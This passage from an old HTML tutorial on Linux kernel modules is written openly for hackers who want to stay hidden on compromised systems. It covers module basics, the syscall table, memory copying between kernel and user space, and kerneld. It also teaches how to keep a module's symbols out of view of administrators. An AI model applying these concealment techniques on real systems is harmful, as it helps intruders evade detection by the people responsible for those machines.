  174. need kernel 2.2.x so they will continue using 2.0.x].<br>
  175. This text has a special section dealing with LKMs helping admins to secure the
  176. system. You (hacker) should also read this section, you <i>must</i> know everything
  177. the admins know and even more. You will also get some nice ideas from that
  178. section that could help you develope more advanced 'hacker-LKMs'. Just read the
  179. whole text !<br>
  180. <I><u>And please remember</I></u> : This text was only written for educational purpose. Any
  181. illegal action based on this text is your own problem.<br>
  182. <u><b>
  183. <H2>I. Basics</H2>
  184. </u></b>
  185. <P><P>
  186. <H3><A NAME="I.1."></A>1. What are LKMs</H3>
  187. LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
  188. functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
  189. there must be no recompilation of the whole kernel. Because of those features
  190. they are often used for specific device drivers (or filesystems) such as
  191. soundcards etc.<br>
  192. Every LKM consist of two basic functions (minimum) :
  193. <XMP>
  194. int init_module(void) /*used for all initialition stuff*/
  195. {
  196. ...
  197. }
  198. void cleanup_module(void) /*used for a clean shutdown*/
  199. {
  200. ...
  201. }
  202. </XMP>
  203. Loading a module - normally retricted to root - is managed by issuing the
  204. follwing command:
  205. <xmp>
  206. # insmod module.o
  207. </xmp>
  208. This command forces the System to do the following things :
  209. <ul>
  210. <li>Load the objectfile (here module.o)<br>
  211. <li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
  212. memory<br>
  213. <li>unresolved references are resolved by Kernel-Symbols with the systemcall
  214. get_kernel_syms<br>
  215. <li>after this the init_module systemcall is used for the LKM initialisation
  216. -> executing int init_module(void) etc.<br>
  217. </ul>
  218. The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
  219. So I think we can write our first little LKM just showing how it basicly works:
  220. <xmp>
  221. #define MODULE
  222. #include <Linux/module.h>
  223. int init_module(void)
  224. {
  225. printk("<1>Hello World\n");
  226. return 0;
  227. }
  228. void cleanup_module(void)
  229. {
  230. printk("<1>Bye, Bye");
  231. }
  232. </xmp>
  233. You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
  234. is totally different from <i>Userspace-Programming</i> !<br>
  235. You only have a very restricted set of commands (see I.6). With those commands
  236. you cannot do much, so you will learn how to use lots of functions you know from
  237. your userspace applications helping you hacking the kernel. Just be patient, we
  238. have to do something else before...<br>
  239. The Example above can easily compiled by
  240. <xmp>
  241. # gcc -c -O3 helloworld.c
  242. # insmod helloworld.o
  243. </xmp>
  244. Ok, our module is loaded and showed us the famous text. Now you can check some
  245. commands showing you that your LKM really stays in kernel space.<br>
  246. <xmp>
  247. # lsmod
  248. Module Pages Used by
  249. helloworld 1 0
  250. </xmp>
  251. This command reads the information in /proc/modules for showing you which
  252. modules are loaded at the moment. 'Pages' is the memory information (how many
  253. pages does this module fill); the 'Used by' field tells us how often the module
  254. is used in the System (reference count). The module can only be removed, when
  255. this counter is zero; after checking this, you can remove your module with
  256. <xmp>
  257. # rmmod helloworld
  258. </xmp>
  259. Ok, this was our first little (very little) step towards abusing LKMs. I always
  260. compared those LKMs to old DOS TSR Programs (yes there are many differences,
  261. I know), they were our gate to staying resident in memory and catching every
  262. interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is
  263. also similar to LKMs (also many differences). The most interesting part of
  264. those resident programs is the ability to hook system functions, in the Linux
  265. world called systemcalls.<br>
  266. <H3><A NAME="I.2."></A>2. What are systemcalls</h3>
  267. I hope you know, that every OS has some functions build into its kernel, which
  268. are used for every operation on that system.<br>
  269. The functions Linux uses are called systemcalls. They represent a transition
  270. from user to kernel space. Opening a file in user space is represented by the
  271. sys_open systemcall in kernel space. For a complete list of all systemcalls
  272. available on your System look at /usr/include/sys/syscall.h. The following list
  273. shows my syscall.h
  274. <xmp>
  275. #ifndef _SYS_SYSCALL_H
  276. #define _SYS_SYSCALL_H
  277. #define SYS_setup 0 /* Used only by init, to get system going. */
  278. #define SYS_exit 1
  279. #define SYS_fork 2
  280. #define SYS_read 3
  281. #define SYS_write 4
  282. #define SYS_open 5
  283. #define SYS_close 6
  284. #define SYS_waitpid 7
  285. #define SYS_creat 8
  286. #define SYS_link 9
  287. #define SYS_unlink 10
  288. #define SYS_execve 11
  289. #define SYS_chdir 12
  290. #define SYS_time 13
  291. #define SYS_prev_mknod 14
  292. #define SYS_chmod 15
  293. #define SYS_chown 16
  294. #define SYS_break 17
  295. #define SYS_oldstat 18
  296. #define SYS_lseek 19
  297. #define SYS_getpid 20
  298. #define SYS_mount 21
  299. #define SYS_umount 22
  300. #define SYS_setuid 23
  301. #define SYS_getuid 24
  302. #define SYS_stime 25
  303. #define SYS_ptrace 26
  304. #define SYS_alarm 27
  305. #define SYS_oldfstat 28
  306. #define SYS_pause 29
  307. #define SYS_utime 30
  308. #define SYS_stty 31
  309. #define SYS_gtty 32
  310. #define SYS_access 33
  311. #define SYS_nice 34
  312. #define SYS_ftime 35
  313. #define SYS_sync 36
  314. #define SYS_kill 37
  315. #define SYS_rename 38
  316. #define SYS_mkdir 39
  317. #define SYS_rmdir 40
  318. #define SYS_dup 41
  319. #define SYS_pipe 42
  320. #define SYS_times 43
  321. #define SYS_prof 44
  322. #define SYS_brk 45
  323. #define SYS_setgid 46
  324. #define SYS_getgid 47
  325. #define SYS_signal 48
  326. #define SYS_geteuid 49
  327. #define SYS_getegid 50
  328. #define SYS_acct 51
  329. #define SYS_phys 52
  330. #define SYS_lock 53
  331. #define SYS_ioctl 54
  332. #define SYS_fcntl 55
  333. #define SYS_mpx 56
  334. #define SYS_setpgid 57
  335. #define SYS_ulimit 58
  336. #define SYS_oldolduname 59
  337. #define SYS_umask 60
  338. #define SYS_chroot 61
  339. #define SYS_prev_ustat 62
  340. #define SYS_dup2 63
  341. #define SYS_getppid 64
  342. #define SYS_getpgrp 65
  343. #define SYS_setsid 66
  344. #define SYS_sigaction 67
  345. #define SYS_siggetmask 68
  346. #define SYS_sigsetmask 69
  347. #define SYS_setreuid 70
  348. #define SYS_setregid 71
  349. #define SYS_sigsuspend 72
  350. #define SYS_sigpending 73
  351. #define SYS_sethostname 74
  352. #define SYS_setrlimit 75
  353. #define SYS_getrlimit 76
  354. #define SYS_getrusage 77
  355. #define SYS_gettimeofday 78
  356. #define SYS_settimeofday 79
  357. #define SYS_getgroups 80
  358. #define SYS_setgroups 81
  359. #define SYS_select 82
  360. #define SYS_symlink 83
  361. #define SYS_oldlstat 84
  362. #define SYS_readlink 85
  363. #define SYS_uselib 86
  364. #define SYS_swapon 87
  365. #define SYS_reboot 88
  366. #define SYS_readdir 89
  367. #define SYS_mmap 90
  368. #define SYS_munmap 91
  369. #define SYS_truncate 92
  370. #define SYS_ftruncate 93
  371. #define SYS_fchmod 94
  372. #define SYS_fchown 95
  373. #define SYS_getpriority 96
  374. #define SYS_setpriority 97
  375. #define SYS_profil 98
  376. #define SYS_statfs 99
  377. #define SYS_fstatfs 100
  378. #define SYS_ioperm 101
  379. #define SYS_socketcall 102
  380. #define SYS_klog 103
  381. #define SYS_setitimer 104
  382. #define SYS_getitimer 105
  383. #define SYS_prev_stat 106
  384. #define SYS_prev_lstat 107
  385. #define SYS_prev_fstat 108
  386. #define SYS_olduname 109
  387. #define SYS_iopl 110
  388. #define SYS_vhangup 111
  389. #define SYS_idle 112
  390. #define SYS_vm86old 113
  391. #define SYS_wait4 114
  392. #define SYS_swapoff 115
  393. #define SYS_sysinfo 116
  394. #define SYS_ipc 117
  395. #define SYS_fsync 118
  396. #define SYS_sigreturn 119
  397. #define SYS_clone 120
  398. #define SYS_setdomainname 121
  399. #define SYS_uname 122
  400. #define SYS_modify_ldt 123
  401. #define SYS_adjtimex 124
  402. #define SYS_mprotect 125
  403. #define SYS_sigprocmask 126
  404. #define SYS_create_module 127
  405. #define SYS_init_module 128
  406. #define SYS_delete_module 129
  407. #define SYS_get_kernel_syms 130
  408. #define SYS_quotactl 131
  409. #define SYS_getpgid 132
  410. #define SYS_fchdir 133
  411. #define SYS_bdflush 134
  412. #define SYS_sysfs 135
  413. #define SYS_personality 136
  414. #define SYS_afs_syscall 137 /* Syscall for Andrew File System */
  415. #define SYS_setfsuid 138
  416. #define SYS_setfsgid 139
  417. #define SYS__llseek 140
  418. #define SYS_getdents 141
  419. #define SYS__newselect 142
  420. #define SYS_flock 143
  421. #define SYS_syscall_flock SYS_flock
  422. #define SYS_msync 144
  423. #define SYS_readv 145
  424. #define SYS_syscall_readv SYS_readv
  425. #define SYS_writev 146
  426. #define SYS_syscall_writev SYS_writev
  427. #define SYS_getsid 147
  428. #define SYS_fdatasync 148
  429. #define SYS__sysctl 149
  430. #define SYS_mlock 150
  431. #define SYS_munlock 151
  432. #define SYS_mlockall 152
  433. #define SYS_munlockall 153
  434. #define SYS_sched_setparam 154
  435. #define SYS_sched_getparam 155
  436. #define SYS_sched_setscheduler 156
  437. #define SYS_sched_getscheduler 157
  438. #define SYS_sched_yield 158
  439. #define SYS_sched_get_priority_max 159
  440. #define SYS_sched_get_priority_min 160
  441. #define SYS_sched_rr_get_interval 161
  442. #define SYS_nanosleep 162
  443. #define SYS_mremap 163
  444. #define SYS_setresuid 164
  445. #define SYS_getresuid 165
  446. #define SYS_vm86 166
  447. #define SYS_query_module 167
  448. #define SYS_poll 168
  449. #define SYS_syscall_poll SYS_poll
  450. #endif /* <sys/syscall.h> */
  451. </xmp>
  452. Every systemcall has a defined number (see listing above), which is actually
  453. used to make the systemcall.<br>
  454. The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall
  455. number and any arguments are moved to some registers (eax for systemcall number,
  456. for example).<br>
  457. The systemcall number is an index in an array of a kernel structure called
  458. sys_call_table[]. This structure maps the systemcall numbers to the needed
  459. service function.<br>
  460. Ok, this should be enough knowledge to continue reading. The following table
  461. lists the most interesting systemcalls plus a short description.
  462. Believe me, you have to know the exact working of those systemcalls in order to
  463. make really useful LKMs.<br>
  464. <TABLE border=5 width=100%>
  465. <tr>
  466. <th>systemcall</th>
  467. <th>description</th>
  468. <tr>
  469. <td>int sys_brk(unsigned long new_brk);</td>
  470. <td>changes the size of used DS (data segment)
  471. ->this systemcall will be discussed in I.4</td>
  472. </tr>
  473. <tr>
  474. <td>int sys_fork(struct pt_regs regs);</td>
  475. <td>systemcall for the well-know fork() function in user space</td>
  476. </tr>
  477. <tr>
  478. <td>int sys_getuid
  479. ()<br>
  480. int sys_setuid
  481. (uid_t uid)<br>
  482. ...</td>
  483. <td>systemcalls for managing UID etc.</td>
  484. </tr>
  485. <tr>
  486. <td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
  487. <td>systemcall for accessing the kernel system table (-> I.3)</td>
  488. </tr>
  489. <tr>
  490. <td>int sys_sethostname
  491. (char *name,
  492. int len);<br>
  493. int sys_gethostname
  494. (char *name,
  495. int len);<br></td>
  496. <td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
  497. it</td>
  498. </tr>
  499. <tr>
  500. <td>int sys_chdir
  501. (const char *path);<br>
  502. int sys_fchdir
  503. (unsigned int fd);<br></td>
  504. <td>both function are used for setting the current directory (cd ...)</td>
  505. </tr>
  506. <tr>
  507. <td>int sys_chmod
  508. (const char
  509. *filename, mode_t
  510. mode);<br>
  511. int sys_chown
  512. (const char
  513. *filename, mode_t
  514. mode);<br>
  515. int sys_fchmod
  516. (unsigned int
  517. fildes, mode_t
  518. mode);<br>
  519. int sys_fchown
  520. (unsigned int
  521. fildes, mode_t
  522. mode);<br></td>
  523. <td>functions for managing permissions and so on</td>
  524. </tr>
  525. <tr>
  526. <td>int sys_chroot
  527. (const char
  528. *filename);</td>
  529. <td>sets root directory for calling process</td>
  530. </tr>
  531. <tr>
  532. <td>int sys_execve
  533. (struct pt_regs regs);</td>
  534. <td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
  535. </tr>
  536. <tr>
  537. <td>long sys_fcntl
  538. (unsigned int fd,
  539. unsigned int cmd,
  540. unsigned long arg);</td>
  541. <td>changing characteristics of fd (opened file descr.)</td>
  542. </tr>
  543. <tr>
  544. <td>int sys_link
  545. (const char *oldname,
  546. const char *newname);<br>
  547. int sym_link
  548. (const char *oldname,
  549. const char *newname);<br>
  550. int sys_unlink
  551. (const char *name);<br></td>
  552. <td>systemcalls for hard- / softlinks management</td>
  553. </tr>
  554. <tr>
  555. <td>int sys_rename
  556. (const char *oldname,
  557. const char *newname);</td>
  558. <td>file renaming</td>
  559. </tr>
  560. <tr>
  561. <td>int sys_rmdir
  562. (const char* name);<br>
  563. int sys_mkdir
  564. (const *char filename,
  565. int mode);<br></td>
  566. <td>creating & removing directories</td>
  567. </tr>
  568. <tr>
  569. <td>int sys_open
  570. (const char *filename,
  571. int mode);<br>
  572. int sys_close
  573. (unsigned int fd);<br></td>
  574. <td>everything concering opening files (also creation), and also closing them</td>
  575. </tr>
  576. <tr>
  577. <td>int sys_read
  578. (unsigned int fd,
  579. char *buf, unsigned int
  580. count);<br>
  581. int sys_write
  582. (unsigned int fd,
  583. char *buf, unsigned int
  584. count);<br></td>
  585. <td>systemcalls for writing & reading from Files</td>
  586. </tr>
  587. <tr>
  588. <td>int sys_getdents
  589. (unsigned int fd,
  590. struct dirent *dirent,
  591. unsigned int count);</td>
  592. <td>systemcall which retrievs file listing (ls ... command) </td>
  593. </tr>
  594. <tr>
  595. <td>int sys_readlink
  596. (const char *path,
  597. char *buf, int bufsize);</td>
  598. <td>reading symbolic links</td>
  599. </tr>
  600. <tr>
  601. <td>int sys_selectt
  602. (int n, fd_set *inp,
  603. fd_set *outp, fd_set
  604. *exp, struct timeval
  605. *tvp);</td>
  606. <td>multiplexing of I/O operations</td>
  607. </tr>
  608. <tr>
  609. <td>sys_socketcall
  610. (int call, unsigned long
  611. args);</td>
  612. <td>socket functions</td>
  613. </tr>
  614. <tr>
  615. <td>unsigned long
  616. sys_create_module
  617. (char *name, unsigned
  618. long size);<br>
  619. int sys_delete_module
  620. (char *name);<br>
  621. int sys_query_module
  622. (const char *name,
  623. int which,
  624. void *buf,
  625. size_t bufsize,
  626. size_t *ret);<br></td>
  627. <td>used for loading / unloading LKMs and querying</td>
  628. </tr>
  629. </table>
  630. In my opinion these are the most interesting systemcalls for any hacking
  631. intention, of course it is possible that you may need something special on your
  632. rooted system, but the average hacker has a plenty of possibilities with the
  633. listing above. In part II you will learn how to use the systemcalls for your
  634. profit.
  635. <H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
  636. Ok, we understand the basic concept of systemcalls and modules. But there is
  637. another very important point we need to understand - the Kernel Symbol Table.
  638. Take a look at /proc/ksyms. Every entry in this file represents an exported
  639. (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
  640. in that file, you will find many interesting things in it. <br>
  641. This file is really very interesting, and can help us to see what our LKM can
  642. get; but there is one problem. Every Symbol used in our LKM (like a function) is
  643. also exportet to the public, and is also listed in that file. So an experienced
  644. admin could discover our little LKM and kill it.<br>
  645. There are lots of methods to prevent the admin from seeing our LKM, look at
  646. section II.<br>
  647. The methods mentioned in II can be called 'Hacks', but when you take a look at
  648. the contents of section II you won't find any reference to 'Keeping LKM Symbols
  649. out of /proc/ksyms'. The reason for not mentioning this problem in II is the
  650. following :<br>
  651. you won't need a trick to keep your module symbols away from /proc/ksyms.
  652. LKM devolopers are able to use the following piece of regular code to limit the
  653. exported symbols of their module:<br>
  654. <xmp>
  655. static struct symbol_table module_syms= { /*we define our own symbol table !*/
  656. #include <linux/symtab_begin.h> /*symbols we want to export, do we ?*/
  657. ...
  658. };
  659. register_symtab(&module_syms); /*do the actual registration*/
  660. </xmp>
  661. As I said, we don't want to export any symbols to the public, so we use the
  662. following construction :
  663. <xmp>
  664. register_symtab(NULL);
  665. </xmp>
  666. This line must be inserted in the init_module() function, remember this !
  667. <H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
  668. Till now this essay was very very basic and easy. Now we come to stuff
  669. more difficult (but not more advanced).<br>
  670. We have many advantages because of coding in kernel space, but we also have some
  671. disadvantages. systemcalls get their arguments from user space (systemcalls are
  672. implemented in wrappers like libc), but our LKM runs in kernel space. In section
  673. II you will see that it is very important for us to check the arguments of
  674. certain systemcalls in order to act the right way. But how can we access an
  675. argument allocated in user space from our kernel space module ?
  676. <br><i>Solution</i> : We have to make a <i>transition</i>.<br>
  677. This may sound a bit strange for non-kernel-hackers, but is really easy. Take
  678. the following systemcall :<br>
  679. <xmp>
  680. int sys_chdir (const char *path)
  681. </xmp>
  682. Imagine the system calling it, and we intercept that call (we will learn this in
  683. section II). We want to check the path the user wants to set, so we have to
  684. access const char *path. If you try to access the path variable directly like
  685. <xmp>
  686. printk("<1>%s\n", path);
  687. </xmp>
  688. you will get <i>real</i> problems...<br>
  689. Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
  690. Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
  691. He uses a kernel mode function (macro) for retrieving user space memory bytes :
  692. <xmp>
  693. #include <asm/segment.h>
  694. get_user(pointer);
  695. </xmp>
  696. Giving this function a pointer to our *path location helps ous getting the bytes
  697. from user space memory to kernel space. Look at the implemtation made by plaguez
  698. for moving strings from user to kernel space:<br>
  699. <xmp>
  700. char *strncpy_fromfs(char *dest, const char *src, int n)
  701. {
  702. char *tmp = src;
  703. int compt = 0;
  704. do {
  705. dest[compt++] = __get_user(tmp++, 1);
  706. }
  707. while ((dest[compt - 1] != '\0') && (compt != n));
  708. return dest;
  709. }
  710. </xmp>
  711. If we want to convert our *path variable we can use the following piece of kernel
  712. code :
  713. <xmp>
  714. char *kernel_space_path;
  715. kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory
  716. in kernel space*/
  717. (void) strncpy_fromfs(test, path, 20); /*calling plaguez's
  718. function*/
  719. printk("<1>%s\n", kernel_space_path); /*now we can use
  720. the data for whatever we
  721. want*/
  722. kfree(test); /*remember freeing the
  723. memory*/
  724. </xmp>
  725. The code above works very fine. For a general transition it is too complicated;
  726. plaguez used it only for strings (the functions is made only for string copies).
  727. For normal data transitions the following function is the easiest way of doing:
  728. <xmp>
  729. #include <asm/segment.h>
  730. void memcpy_fromfs(void *to, const void *from, unsigned long count);
  731. </xmp>
  732. Both functions are obviously based on the same kind of commands, but the second
  733. one is nearly the same as plaguez's newly defined function. I would recommand
  734. using memcpy_fromfs(...) for general data transitions and plaguez's one for
  735. string copying tasks.<br>
  736. Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
  737. about the other direction ? This is a bit harder, because we cannot easily
  738. allocate user space memory from our kernel space position. If we could manage this
  739. problem we could use<br>
  740. <xmp>
  741. #include <asm/segment.h>
  742. void memcpy_tofs(void *to, const void *from, unsigned long count);
  743. </xmp>
  744. doing the actual converting. But how to allocate user space for the *to pointer?
  745. plaguez's Phrack essay gives us the best solution :
  746. <xmp>
  747. /*we need brk systemcall*/
  748. static inline _syscall1(int, brk, void *, end_data_segment);
  749. ...
  750. int ret, tmp;
  751. char *truc = OLDEXEC;
  752. char *nouveau = NEWEXEC;
  753. unsigned long mmm;
  754. mmm = current->mm->brk;
  755. ret = brk((void *) (mmm + 256));
  756. if (ret < 0)
  757. return ret;
  758. memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  759. </xmp>
  760. This is a very nice trick used here. current is a pointer to the task structure
  761. of the current process; mm is the pointer to the mm_struct - responsible for
  762. the memory management of that process. By using the brk-systemcall on current->
  763. mm->brk we are able to increase the size of the unused area of the datasegment.
  764. And as we all know allocating memory is done by playing with the datasegment,
  765. so by increasing the unused area size, we have allocated some piece of memory
  766. for the current process. This memory can be used for copying the kernel space
  767. memory to user space (of the current process).<br>
  768. You may wonder about the first line from the code above. This line helps us to
  769. use user space like functions in kernel space.Every user space function provided
  770. to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
  771. macro. So we can construct the exact syscall-macro for a certain user space
  772. function (represented by a systemcall); here for brk(...).<br>
  773. See I.5 for a detailed explanation.
  774. <H3><A NAME="I.5."></A>5. Ways to use user space like functions</h3>
  775. As you saw in I.4 we used a syscall macro for constructing our own brk call,
  776. which is like the one we know from user space (->brk(2)). The truth about the
  777. user space library funtions (not all) is that they all are implemented through
  778. such syscall macros. The following code shows the _syscall1(..) macro used in
  779. I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
  780. <xmp>
  781. #define _syscall1(type,name,type1,arg1) \
  782. type name(type1 arg1) \
  783. { \
  784. long __res; \
  785. __asm__ volatile ("int $0x80" \
  786. : "=a" (__res) \
  787. : "0" (__NR_##name),"b" ((long)(arg1))); \
  788. if (__res >= 0) \
  789. return (type) __res; \
  790. errno = -__res; \
  791. return -1; \
  792. }
  793. </xmp>
  794. You don't need to understand this code in its full function, it just calls
  795. interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
  796. name stands for the systemcall we need (the name is expanded to __NR_name, which
  797. is defined in /asm/unistd.h). This way we implemted the brk function. Other
  798. functions with a different count of arguments are implemented through other
  799. macros (_syscallX, where X stands for the number of arguments). <br>
  800. I personally use another way of implementing functions; look at the following
  801. example :
  802. <xmp>
  803. int (*open)(char *, int, int); /*declare a prototype*/
  804. open = sys_call_table[SYS_open]; /*you can also use __NR_open*/
  805. </xmp>
  806. This way you don't need to use any syscall macro, you just use the function
  807. pointer from the sys_call_table. While searching the web, I found that this
  808. way of contructing user space like functions is also used in the famous LKM
  809. infector by SVAT. In my opinion this is the better solution, but test it and
  810. judge yourself.<br>
  811. Be careful when supplying arguments for those systemcalls, they need them in
  812. user space not from your kernel space position. Read I.4 for ways to bring your
  813. kernel space data to user space memory.<br>
  814. A very easy way doing this (the best way in my opinion) is playing with the
  815. needed registers. You have to know that Linux uses segment selectors to
  816. differentiate between kernel space, user space and so on. Arguments used with
  817. systemcalls which were issued from user space are somewhere in the data segment
  818. selector (DS) range. [I did not mention this in I.4,because it fits more in this
  819. section.]<br>
  820. DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
  821. parameters by systemcalls can only be accessed from kernel space if we set
  822. the segment selector used for the user segment by the kernel to the needed DS
  823. value. This can be done by using set_fs(...). But be careful,you have to restore
  824. FS after you accessed the argument of the systemcall. So let's look at a code
  825. fragment showing something useful :<br>
  826. <xmp>
  827. ->filename is in our kernel space; a string we just created, for example
  828. unsigned long old_fs_value=get_fs();
  829. set_fs(get_ds); /*after this we can access the user space data*/
  830. open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
  831. set_fs(old_fs_value); /*restore fs...*/
  832. </xmp>
  833. In my opinion this is the easiet / fastest way of solving the problem, but test
  834. it yourself (again).<br>
  835. Remember that the functions I showed till now (brk, open) are all implemented
  836. through a single systemcall. But there are also groups of user space functions
  837. which are summarized into one systemcall. Take a look at the listing of
  838. interesting systemcalls (I.2); the sys_socketcall, for example, implements every
  839. function concering sockets (creation, closing, sending, receiving,...). So be
  840. careful when constructing your functions; always take a look at the kernel
  841. sources.<br>
  842. <H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
  843. I introduced the printk(..) function in the beginning of this text. It is a
  844. function everyone can use in kernel space, it is a so called kernel function.
  845. Those functions are made for kernel developers who need complex functions which
  846. are normally only available through a library function. The following listing
  847. shows the most important kernel functions we often need :
  848. <TABLE border=5 width=100%>
  849. <tr>
  850. <th>function/macro</th>
  851. <th>description</th>
  852. <tr>
  853. <td>int sprintf
  854. (char *buf,
  855. const char *fmt,
  856. ...);<br>
  857. int vsprintf
  858. (char *buf,
  859. const char *fmt,
  860. va_list args);<br></td>
  861. <td>functions for packing data into strings</td>
  862. </tr>
  863. <tr>
  864. <td>printk
  865. (...)</td>
  866. <td>the same as printf in user space</td>
  867. </tr>
  868. <tr>
  869. <td>void *memset
  870. (void *s, char c,
  871. size_t count);<br>
  872. void *memcpy
  873. (void *dest, const void
  874. *src, size_t count);<br>
  875. char *bcopy
  876. (const char *src,
  877. char *dest, int count);<br>
  878. void *memmove
  879. (void *dest, const void
  880. *src, size_t count);<br>
  881. int memcmp
  882. (const void *cs,
  883. const void *ct, size_t
  884. count);<br>
  885. void *memscan
  886. (void *addr, unsigned char
  887. c, size_t size);<br></td>
  888. <td>memory functions</td>
  889. </tr>
  890. <tr>
  891. <td>int register_symtab
  892. (struct symbol_table
  893. *intab);</td>
  894. <td>see I.1</td>
  895. </tr>
  896. <tr>
  897. <td>char *strcpy
  898. (char *dest, const char
  899. *src);<br>
  900. char *strncpy
  901. (char *dest, const char
  902. *src, size_t count);<br>
  903. char *strcat
  904. (char *dest, const char *src);<br>
  905. char *strncat
  906. (char *dest, const char
  907. *src, size_t count);<br>
  908. int strcmp
  909. (const char *cs,
  910. const char *ct);<br>
  911. int strncmp
  912. (const char *cs,const
  913. char *ct, size_t count);<br>
  914. char *strchr
  915. (const char *s, char c);<br>
  916. size_t strlen
  917. (const char *s);<br>
  918. size_t strnlen
  919. (const char *s,
  920. size_t count);<br>
  921. size_t strspn
  922. (const char *s,
  923. const char *accept);<br>
  924. char *strpbrk
  925. (const char *cs,
  926. const char *ct);<br>
  927. char *strtok
  928. (char *s, const char *ct);<br></td>
  929. <td>string compare functions etc.</td>
  930. </tr>
  931. <tr>
  932. <td>unsigned long
  933. simple_strtoul
  934. (const char *cp,
  935. char **endp, unsigned int
  936. base);</td>
  937. <td>converting strings to number</td>
  938. </tr>
  939. <tr>
  940. <td>get_user_byte
  941. (addr);<br>
  942. put_user_byte
  943. (x, addr);<br>
  944. get_user_word
  945. (addr);<br>
  946. put_user_word
  947. (x, addr);<br>
  948. get_user_long
  949. (addr);<br>
  950. put_user_long
  951. (x, addr);<br></td>
  952. <td>functions for accessing user memory</td>
  953. </tr>
  954. <tr>
  955. <td>suser();<br>
  956. fsuser();<br></td>
  957. <td>checking for SuperUser rights</td>
  958. </tr>
  959. <tr>
  960. <td>int register_chrdev
  961. (unsigned int major,
  962. const char *name,
  963. struct file_o perations
  964. *fops);<br>
  965. int unregister_chrdev
  966. (unsigned int major,
  967. const char *name);<br>
  968. int register_blkdev
  969. (unsigned int major,
  970. const char *name,
  971. struct file_o perations
  972. *fops);<br>
  973. int unregister_blkdev
  974. (unsigned int major,
  975. const char *name);<br></td>
  976. <td>functions which register device driver<br>
  977. ..._chrdev -> character devices<br>
  978. ..._blkdev -> block devices<br></td>
  979. </tr>
  980. </table>
  981. Please remember that some of those function may also be made available through
  982. the method mentoined in I.5. But you should understand, that it is not very
  983. useful contructing nice user space like functions, when the kernel gives them
  984. to us for free.<br>
  985. Later on you will see that these functions (especially string comaprisons) are
  986. very important for our purposes.<br>
  987. <H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
  988. Finally we nearly reached the end of the basic part. Now I will explain the
  989. working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
  990. process in user space waiting for some action. First of all you must know that
  991. it is necessary to activite the kerneld option while building the kernel, in
  992. order to use kerneld's features. Kerneld works the following way : If the kernel
  993. wants to access a resource (in kernel space of course), which is not present
  994. at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
  995. kerneld for that resource. If kerneld is able to provide the resource, it loads
  996. the required LKM and the kernel can continue working. By using this scheme it is
  997. possible to load and unload LKMs only when they are really needed / not needed.
  998. It should be clear that this work needs to be done both in user and in kernel
  999. space.<br>
  1000. Kerneld exists in user space. If the kernel requests a new module this daemon
  1001. receives a string from the kernel telling it which module to load.It is possible
  1002. that the kenel sends a generic name (instead of the name of object file) like
  1003. eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
  1004. Those lines match generic names to the LKM required on that system.<br>
  1005. The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
  1006. <xmp>
  1007. # /etc/modules.conf # or /etc/conf.modules - this differs
  1008. alias eth0 tulip
  1009. </xmp>
  1010. This was the user space side represented by the kerneld daemon. The kernel space
  1011. part is mainly represented by 4 functions. These functions are all based on
  1012. a call to kerneld_send. For the exact way kerneld_send is involved by calling
  1013. those functions look at linux/kerneld.h. The following table lists the 4
  1014. functions mentioned above :<br>
  1015. <TABLE border=5 width=100%>
  1016. <tr>
  1017. <th>function</th>
  1018. <th>description</th>
  1019. <tr>
  1020. <td>int sprintf
  1021. (char *buf,
  1022. const char *fmt,
  1023. ...);<br>
  1024. int vsprintf
  1025. (char *buf,
  1026. const char *fmt,
  1027. va_list args);<br></td>
  1028. <td>functions for packing data into strings</td>
  1029. </tr>
  1030. <tr>
  1031. <td>int request_module
  1032. (const char *name);</td>
  1033. <td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
  1034. <tr>
  1035. <tr>
  1036. <td>int release_module
  1037. (const char* name,
  1038. int waitflag);</td>
  1039. <td>unload a module</td>
  1040. <tr>
  1041. <tr>
  1042. <td>int delayed_release_module
  1043. (const char *name);</td>
  1044. <td>delayed unload</td>
  1045. <tr>
  1046. <tr>
  1047. <td>int cancel_release_module
  1048. (const char *name);</td>
  1049. <td>cancels a call of delayed_release_module</td>
  1050. <tr>
  1051. </table>
  1052. <i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
  1053. V.
  1054. <H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
  1055. Appendix A introduces a TTY Hijacking util, which will use a device to log its
  1056. results. So we have to look at a very basic example of a device driver.
  1057. Look at the following code (this is a very basic driver, I just wrote it for
  1058. demonstration, it does implement nearly no operations...) :<br>
  1059. <xmp>
  1060. #define MODULE
  1061. #define __KERNEL__
  1062. #include <linux/module.h>
  1063. #include <linux/kernel.h>
  1064. #include <asm/unistd.h>
  1065. #include <sys/syscall.h>
  1066. #include <sys/types.h>
  1067. #include <asm/fcntl.h>
  1068. #include <asm/errno.h>
  1069. #include <linux/types.h>
  1070. #include <linux/dirent.h>
  1071. #include <sys/mman.h>
  1072. #include <linux/string.h>
  1073. #include <linux/fs.h>
